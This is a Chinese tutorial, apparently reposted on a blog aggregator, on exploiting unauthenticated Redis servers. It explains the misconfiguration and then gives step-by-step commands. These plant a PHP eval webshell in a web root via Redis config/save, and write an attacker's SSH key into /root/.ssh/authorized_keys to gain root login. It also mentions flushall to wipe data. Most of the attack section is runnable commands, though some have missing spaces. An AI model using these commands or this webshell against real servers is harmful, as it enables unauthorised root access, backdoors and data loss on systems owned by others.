zoukankan      html  css  js  c++  java
  • Redis未授权访问利用

    转载:https://www.cnblogs.com/-qing-/p/10978912.html

    0x01 kali安装redis

    下载
    
    wget http://download.redis.io/releases/redis-4.0.11.tar.gz
    
    解压
    
    tar -zxvf redis-4.0.11.tar.gz
    
    切换目录
    
    cd redis-4.0.11
    
    编译
    
    make 
    
    继续切换目录
    
    cd src
    
    运行redis
    
    cp redis-benchmark redis-cli redis-server /usr/bin/

    0x02 什么是Redis未授权访问漏洞

    Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

    简单说,漏洞的产生条件有以下两点:

    (1)Redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

    (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

      漏洞的危害

    (1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;

    (2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;

    (3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

    0x03 利用Redis写Webshell

    • 利用前提:

    1. l  靶机Redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
    2. l  开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

    1.通过phpinfo页面或者其他方法获取Redis服务器网站的根目录

    得到服务器网站的根目录是:/var/www/html

    2. 通过redis-cli与Redis服务端进行连接,通过Redis未授权直接连接Redis服务端

    root@ubuntu:~# redis-cli -h 192.168.5.57

     利用前面我们已经得知的网站根目录开始利用Redis写Webshell(一句话木马)

    config setdir/var/www/html

    config set dbfilename webshell.php
    set webshell "<?php echo @eval($_POST['x']); ?>"
    save

    连接shell

     0x04利用"公私钥"认证获取root权限,ssh免密登陆目标服务器

    1、 在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空

    root@ubuntu:~#ssh-keygen-t rsa

    2、 进入/root/.ssh目录:  cd /root/.ssh , 讲生成的公钥保存到1.txt(名字随意)

    root@ubuntu:~# cd /root/.ssh/
    root@ubuntu:~/.ssh#  (echo -e "
    
    "; cat id_rsa.pub; echo -e "
    
    ") > 1.txt
    root@ubuntu:~/.ssh# ls -a...1.txt  id_rsa  id_rsa.pub  known_hosts

    3、 链接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入)

    cat1.txt| redis-cli -h 10.10.10.135-x set crack

    4、 通过客户端远程登陆目标靶机的Redis服务,并使用 CONFIG GET dir 命令得到Redis备份的路径

    redis-cli -h 10.10.10.135
    
    CONFIG GET dir

    5、 更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

    config setdir/root/.ssh

    6、 设置上传公钥的备份文件名字为authorized_keys

    CONFIG SET dbfilename authorized_keys

    7、 检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出

    CONFIG GET dbfilename
    
    save
    
    exit

    8、 在攻击机上使用SSH免密登录靶机

    ssh-i id_rsa root@x.x.xx

    最后成功root权限登陆目标系统

     

     

  • 相关阅读:
    结巴分词 0.14 版发布,Python 中文分词库
    Lazarus 1.0.2 发布,Pascal 集成开发环境
    Android全屏 去除标题栏和状态栏
    服务器日志现 Android 4.2 传将添多项新特性
    Percona XtraBackup 2.0.3 发布
    长平狐 Android 强制设置横屏或竖屏 设置全屏
    NetBeans 7.3 Beta 发布,全新的 HTML5 支持
    CppDepend现在已经支持Linux
    GromJS 1.7.18 发布,服务器端的 JavaScript
    Apache OpenWebBeans 1.1.6 发布
  • 原文地址:https://www.cnblogs.com/littlemood/p/11795761.html
Copyright © 2011-2022 走看看